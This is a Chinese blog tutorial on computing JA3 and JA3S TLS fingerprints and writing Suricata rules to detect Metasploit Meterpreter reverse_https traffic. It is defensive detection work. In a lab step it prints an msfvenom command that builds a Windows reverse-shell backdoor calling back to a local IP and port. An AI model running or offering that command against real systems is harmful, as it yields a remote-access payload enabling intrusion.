利用JA3和JA3S识别加密数据流量

1.前言

JA3 是一种比基于 IP 或基于域名的 IOC 更有效地检测 SSL 上的恶意活动的方法。 JA3 是根据SSL hello包的特征进行检测,而并非是检测通信内容。

在这些恶意软件样本中,C2服务器始终以完全相同的方式来响应恶意软件客户端,应该说是分毫不差。因此,即使流量被加密,并且,即使不知道C2服务器的IP地址或域名,因为它们会不断变化,我们仍然可以通过指纹来识别客户端和服务器之间的TLS协商,以提高恶意通信识别结果的置信度。

2.JA3计算原理

首先下载JA3工具,github地址为:https://github.com/salesforce/ja3 ,在这里以捕获的某网站为例,下面以这个pcap为例,介绍工具是如何计算的。

JA3 收集client Hello 数据包中以下字段的字节的十进制值;SSL 版本、接受的密码、扩展列表、椭圆曲线和椭圆曲线格式。然后,它按顺序将这些值连接在一起,使用“,”来分隔每个字段,并使用“-”来分隔每个字段中的每个值。

2.1 JA3字符串

2.1.1 第一部分

0x0303(16进制)=771(10进制)

771

2.1.2 第二部分

0x1301=4865;0x1302=4866····

4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53

2.1.3 第三部分

0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513-21

2.1.4 第四部分

0x001d=29;0x0017=23;0x0018=24

29-23-24

2.1.5 第五部分

0

最终组合为:771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513-21,29-23-24,0

2.2 JA3哈希计算原理

通过对JA3字符串加密为MD5 32位,得到ja3_digest

cd08e31494f9531f560d64c695473da9

3.JA3S计算原理

JA3S 是 JA3用于server 的 SSL/TLS 通信和指纹服务器如何响应特定客户端。实际上就是从Server Hello数据包中提取的指纹信息,同样拿这个包举例子。

JA3S主要提取以下内容:

  • TLSVersion : TLS版本信息
  • Ciphers : 支持的密码套件
  • Extensions : 支持的扩展项

3.1 JA3S字符串

3.1.1 第一部分

Version: TLS 1.2 (0x0303)

0x0303(16进制)=771(10进制)

3.1.2 第二部分

Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)

0xc02f(16进制)=49199(10进制)

3.1.3 第三部分

Type: server_name (0)

Type: renegotiation_info (65281)

Type: ec_point_formats (11)

Type: session_ticket (35)

Type: application_layer_protocol_negotiation (16)

最终组成:771,49199,0-65281-11-35-16

3.2 JA3S哈希计算原理

对JA3S字符串进行哈希,771,49199,0-65281-11-35-16进行MD5加密,生成ja3_digest,即b898351eb5e266aefd3723d466935494

4.suricata JA3使用-MSF加密流量识别

Suricata提供了JA3集成(https://github.com/salesforce/ja3)。JA3用于对TLS客户端进行指纹识别。在使用suricata JA3识别之前,需要在suricat.yaml中开启对JA3的支持,将“app layer.protocols.tls.ja3 fingerprints”设置为“yes”

以下为JA3关键词:

  • ja3.hash:在JA3哈希(MD5)上匹配。
  • ja3.string:与JA3字符串匹配。
  • ja3s.hash:匹配JA3S哈希(MD5)
  • ja3s.string:与JA3S字符串匹配

识别MSF Meterpreter/reverse_https通信

4.1 生成后门文件

msfvenom -p windows/x64/meterpreter_reverse_https -f exe -o https.exe LHOST=192.168.233.131 LPORT=9999

4.2 开启抓包

首先开启抓包功能,在win10测试机运行后门文件,kali上开启端口监听

4.3 捕获TLS协商过程

4.4 使用JA3进行指纹识别

由于其协商并不是TLS/SSL默认通信端口443,这里使用-a参数,在任何端口上查找hello包,而不仅仅是443端口

python .\ja3.py --json -a .\xxx.pcapng

JA3字符串:771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,5-10-11-13-35-23-65281,29-23-24,0

JA3哈希值:72a589da586844d7f0818ce684948eea

4.5 使用JA3S进行指纹识别

python .\ja3s.py --json -a .\xxx.pcapng

JA3S字符串:771,49200,65281-23

JA3S哈希值:fd4bc6cea4877646ccd62f0792ec0b62

4.6 编写suricata规则

根据JA3工具获取到的指纹信息编写规则,在/var/lib/suricata/rules/suricata.rules中编写检测规则

#JA3指纹-MSF
alert tls any any -> any any (msg:"疑似 MSF Meterpreter/reverse_https 加密通信行为";ja3.hash; content:"72a589da586844d7f0818ce684948eea";classtype: misc-activity;sid:0001; rev:1;)
#JA3S指纹-MSF
alert tls any any -> any any (msg:"疑似 MSF Meterpreter/reverse_https 加密通信行为"; ja3s.hash; content:"fd4bc6cea4877646ccd62f0792ec0b62"; sid:0002;)

4.7 使用suricata进行包检测

suricata -r /root/msf.pcapng

4.8 查看检测结果

通过日志可以看到流量命中cat /var/lib/suricata/rules/fast.log

参考链接:

通过 JA3(S) 实现 TLS 指纹识别 - H0t-A1r-B4llo0n

https://xz.aliyun.com/t/3889?page=1

Suricata IDS 入门 — 规则详解 - SecPulse.COM | 安全脉搏

6.18. JA3关键词 — Suricata 7.0.0-dev 文档

JA3 JA3S JARM学习 - 歇马 - 博客园

  • 1
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值